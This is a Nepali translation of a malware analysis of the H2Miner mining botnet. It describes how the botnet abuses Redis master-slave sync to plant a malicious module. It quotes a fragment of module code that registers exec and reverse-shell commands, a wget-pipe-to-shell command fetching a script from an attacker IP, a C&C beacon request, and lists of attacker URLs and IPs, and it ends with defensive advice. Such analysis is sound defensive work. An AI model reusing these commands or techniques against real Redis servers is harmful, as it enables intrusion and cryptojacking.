Redis RCE को शोषण गर्ने H2Miner वर्म्सको नयाँ प्रकोप पत्ता लागेको छ

एक दिन अघि, मेरो प्रोजेक्टको सर्भरहरू मध्ये एउटा यस्तै कीराले आक्रमण गरेको थियो। "त्यो के थियो?" प्रश्नको जवाफ खोज्दै मैले अलिबाबा क्लाउड सुरक्षा टोलीद्वारा उत्कृष्ट लेख फेला पारे। मैले Habré मा यो लेख फेला नपाएकोले, मैले यसलाई विशेष गरी तपाईंको लागि अनुवाद गर्ने निर्णय गरें <3

प्रवेश

हालै, अलिबाबा क्लाउडको सुरक्षा टोलीले H2Miner को अचानक प्रकोप पत्ता लगाए। यस प्रकारको मालिसियस वर्मले तपाइँको प्रणालीहरूमा गेटवेको रूपमा Redis को लागि प्राधिकरणको अभाव वा कमजोर पासवर्डहरू प्रयोग गर्दछ, त्यसपछि यसले मास्टर-स्लेभ सिङ्क्रोनाइजेसन मार्फत दाससँग यसको आफ्नै दुर्भावनापूर्ण मोड्युल सिङ्क्रोनाइज गर्दछ र अन्ततः यो खराब मोड्युललाई आक्रमण गरिएको मेसिनमा डाउनलोड गर्दछ र मालिसियस कार्यान्वयन गर्दछ। निर्देशनहरू।

विगतमा, तपाईंको प्रणालीहरूमा आक्रमणहरू मुख्य रूपमा निर्धारित कार्यहरू वा SSH कुञ्जीहरू समावेश गर्ने विधि प्रयोग गरी गरिएका थिए जुन आक्रमणकर्ताले Redis मा लग इन गरेपछि तपाईंको मेसिनमा लेखिएको थियो। सौभाग्यवश, यो विधि प्राय: अनुमति नियन्त्रणको समस्या वा विभिन्न प्रणाली संस्करणहरूको कारणले गर्दा प्रयोग गर्न सकिँदैन। यद्यपि, खराब मोड्युल लोड गर्ने यो विधिले आक्रमणकारीको आदेशलाई प्रत्यक्ष रूपमा कार्यान्वयन गर्न वा शेलमा पहुँच प्राप्त गर्न सक्छ, जुन तपाईंको प्रणालीको लागि खतरनाक छ।

इन्टरनेटमा होस्ट गरिएको Redis सर्भरहरूको ठूलो संख्या (लगभग 1 मिलियन) को कारणले, Alibaba क्लाउडको सुरक्षा टोली, एक मित्रवत रिमाइन्डरको रूपमा, प्रयोगकर्ताहरूलाई Redis अनलाइन साझेदारी नगर्न सिफारिस गर्दछ र नियमित रूपमा तिनीहरूको पासवर्डको बलियो जाँच गर्नुहोस् र तिनीहरूसँग सम्झौता भएको छ कि छैन। द्रुत चयन।

H2 Miner

H2Miner लिनक्स-आधारित प्रणालीहरूको लागि एक खनन बोटनेट हो जसले तपाईंको प्रणालीलाई विभिन्न तरिकामा आक्रमण गर्न सक्छ, जसमा Hadoop यार्न, डकर, र Redis रिमोट कमाण्ड कार्यान्वयन (RCE) कमजोरीहरूमा प्राधिकरणको अभाव समावेश छ। एक बोटनेटले तपाईंको डाटा माइन गर्नको लागि खराब स्क्रिप्टहरू र मालवेयर डाउनलोड गरेर काम गर्दछ, आक्रमण तेर्सो रूपमा विस्तार गर्दछ, र कमाण्ड र कन्ट्रोल (C&C) संचारहरू कायम राख्छ।

Redis RCE

ZeroNights 2018 मा Pavel Toporkov द्वारा यस विषयमा ज्ञान आदान प्रदान गरिएको थियो। संस्करण 4.0 पछि, Redis ले प्लग-इन लोडिङ सुविधालाई समर्थन गर्दछ जसले प्रयोगकर्ताहरूलाई C सँग कम्पाइल गरिएका फाइलहरू Redis मा विशेष Redis आदेशहरू कार्यान्वयन गर्न लोड गर्ने क्षमता दिन्छ। यो प्रकार्य, उपयोगी भए तापनि, एउटा कमजोरी समावेश गर्दछ जसमा, मास्टर-स्लेभ मोडमा, फाइलहरू फुलरेसिङ्क मोड मार्फत दाससँग सिङ्क्रोनाइज गर्न सकिन्छ। यो दुर्भावनापूर्ण फाइलहरू स्थानान्तरण गर्न एक आक्रमणकर्ता द्वारा प्रयोग गर्न सकिन्छ। स्थानान्तरण पूरा भएपछि, आक्रमणकारीहरूले आक्रमण गरिएको रेडिस उदाहरणमा मोड्युल लोड गर्छन् र कुनै पनि आदेश कार्यान्वयन गर्छन्।

मालवेयर वर्म विश्लेषण

भर्खरै, अलिबाबा क्लाउड सुरक्षा टोलीले पत्ता लगायो कि H2Miner मालिसियस खानी समूहको आकार अचानक नाटकीय रूपमा बढेको छ। विश्लेषणका अनुसार, आक्रमणको सामान्य प्रक्रिया निम्नानुसार छ:

H2Miner पूर्ण आक्रमणको लागि RCE Redis प्रयोग गर्दछ। आक्रमणकारीहरूले पहिले असुरक्षित रेडिस सर्भर वा कमजोर पासवर्डहरू भएका सर्भरहरूमा आक्रमण गर्छन्।

त्यसपछि तिनीहरूले आदेश प्रयोग गर्छन् config set dbfilename red2.so फाइल नाम परिवर्तन गर्न। यस पछि, आक्रमणकारीहरूले आदेश कार्यान्वयन गर्छन् slaveof मास्टर-स्लेभ प्रतिकृति होस्ट ठेगाना सेट गर्न।

जब आक्रमण गरिएको Redis उदाहरणले आक्रमणकारीको स्वामित्वमा रहेको मालिसियस रेडिससँग मास्टर-स्लेभ जडान स्थापना गर्दछ, आक्रमणकर्ताले फाइलहरू सिङ्क्रोनाइज गर्न फुलरेसिङ्क आदेश प्रयोग गरेर संक्रमित मोड्युल पठाउँछ। red2.so फाइल त्यसपछि आक्रमण गरिएको मेसिनमा डाउनलोड हुनेछ। आक्रमणकारीहरूले त्यसपछि यो फाइल लोड गर्न ./red2.so लोडिङ मोड्युल प्रयोग गर्छन्। मोड्युलले आक्रमणकारीबाट आदेशहरू कार्यान्वयन गर्न सक्छ वा आक्रमण गरिएको मेसिनमा पहुँच प्राप्त गर्न रिभर्स जडान (ब्याकडोर) सुरु गर्न सक्छ।

if (RedisModule_CreateCommand(ctx, "system.exec",
        DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
        return REDISMODULE_ERR;
      if (RedisModule_CreateCommand(ctx, "system.rev",
        RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
        return REDISMODULE_ERR;

एक दुर्भावनापूर्ण आदेश कार्यान्वयन पछि जस्तै / bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1, आक्रमणकर्ताले ब्याकअप फाइल नाम रिसेट गर्नेछ र ट्रेसहरू सफा गर्न प्रणाली मोड्युल अनलोड गर्नेछ। यद्यपि, red2.so फाइल अझै पनि आक्रमण गरिएको मेसिनमा रहनेछ। प्रयोगकर्ताहरूलाई उनीहरूको Redis उदाहरणको फोल्डरमा यस्तो संदिग्ध फाइलको उपस्थितिमा ध्यान दिन सल्लाह दिइन्छ।

स्रोतहरू चोर्नका लागि केही दुर्भावनापूर्ण प्रक्रियाहरूलाई मार्नुको अतिरिक्त, आक्रमणकारीले दुर्भावनापूर्ण बाइनरी फाइलहरू डाउनलोड र कार्यान्वयन गरेर एक खराब स्क्रिप्ट पछ्यायो। 142.44.191.122/kinsing। यसको मतलब यो होस् कि होस्टमा किन्सिङ भएको प्रक्रियाको नाम वा डाइरेक्टरी नामले त्यो मेसिन यो भाइरसबाट संक्रमित भएको संकेत गर्न सक्छ।

उल्टो ईन्जिनियरिङ् परिणामहरू अनुसार, मालवेयरले मुख्य रूपमा निम्न कार्यहरू गर्दछ:

• फाइलहरू अपलोड गर्दै र तिनीहरूलाई कार्यान्वयन गर्दै
• खनन
• C&C संचार कायम गर्दै र आक्रमणकारी आदेशहरू कार्यान्वयन गर्दै

आफ्नो प्रभाव विस्तार गर्न बाह्य स्क्यानिङको लागि masscan प्रयोग गर्नुहोस्। थप रूपमा, कार्यक्रममा C&C सर्भरको IP ठेगाना हार्ड-कोड गरिएको छ, र आक्रमण गरिएको होस्टले HTTP अनुरोधहरू प्रयोग गरेर C&C संचार सर्भरसँग सञ्चार गर्नेछ, जहाँ HTTP हेडरमा zombie (compromised सर्भर) जानकारी पहिचान गरिएको छ।

GET /h HTTP/1.1
Host: 91.215.169.111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Arch: amd64
Cores: 2
Mem: 3944
Os: linux
Osname: debian
Osversion: 10.0
Root: false
S: k
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx
Version: 26
Accept-Encoding: gzip

अन्य आक्रमण विधिहरू

कीराले प्रयोग गरेको ठेगाना र लिङ्कहरू

/ नातागोता

• 142.44.191.122/t.sh
• 185.92.74.42/h.sh
• 142.44.191.122/spr.sh
• 142.44.191.122/spre.sh
• 195.3.146.118/unk.sh

s&c

• 45.10.88.102
• 91.215.169.111
• 139.99.50.255
• 46.243.253.167
• 195.123.220.193

सुझाव

पहिलो, Redis इन्टरनेटबाट पहुँचयोग्य हुनु हुँदैन र बलियो पासवर्डको साथ सुरक्षित हुनुपर्छ। यो पनि महत्त्वपूर्ण छ कि क्लाइन्टहरूले Redis डाइरेक्टरीमा कुनै red2.so फाइल छैन र होस्टमा फाइल/प्रक्रिया नाममा कुनै "kinsing" छैन भनेर जाँच गर्नु पनि महत्त्वपूर्ण छ।

स्रोत: www.habr.com